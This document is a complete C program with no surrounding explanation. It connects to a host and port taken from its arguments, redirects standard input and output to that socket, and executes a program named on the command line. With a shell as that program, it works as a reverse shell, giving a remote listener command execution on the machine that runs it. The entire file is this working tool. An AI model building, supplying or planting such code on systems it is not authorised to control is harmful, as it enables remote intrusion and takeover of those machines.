#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

extern char **environ;

int main(int argc, char *argv[]) {
  int s;
  char *arg[] = {argv[3], 0};
  struct sockaddr_in sa;
  struct hostent *h;

  if (argc < 4) {
    fprintf(stderr, "usage: %s <hostname> <port> <program>\n", argv[0]);
    return 1;
  }

  if (!(h = gethostbyname(argv[1]))) {
    fprintf(stderr, "%s: unable to resolve %s\n", argv[0], argv[1]);
    return 1;
  }

  s = socket(AF_INET, SOCK_STREAM, 0);

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = *(long *)h->h_addr;
  sa.sin_port = htons(atoi(argv[2]));

  if (connect(s, (const struct sockaddr *)&sa, sizeof(sa)) < 0) {
    fprintf(stderr, "%s: unable to connect to %s\n", argv[0], argv[1]);
    return 1;
  }

  dup2(s, 0);
  dup2(s, 1);
  close(s);

  if (execve(arg[0], arg, environ) < 0) {
    fprintf(stderr, "%s: %s: %s\n", argv[0], argv[3], strerror(errno));
    return 1;
  }

  return 0;
}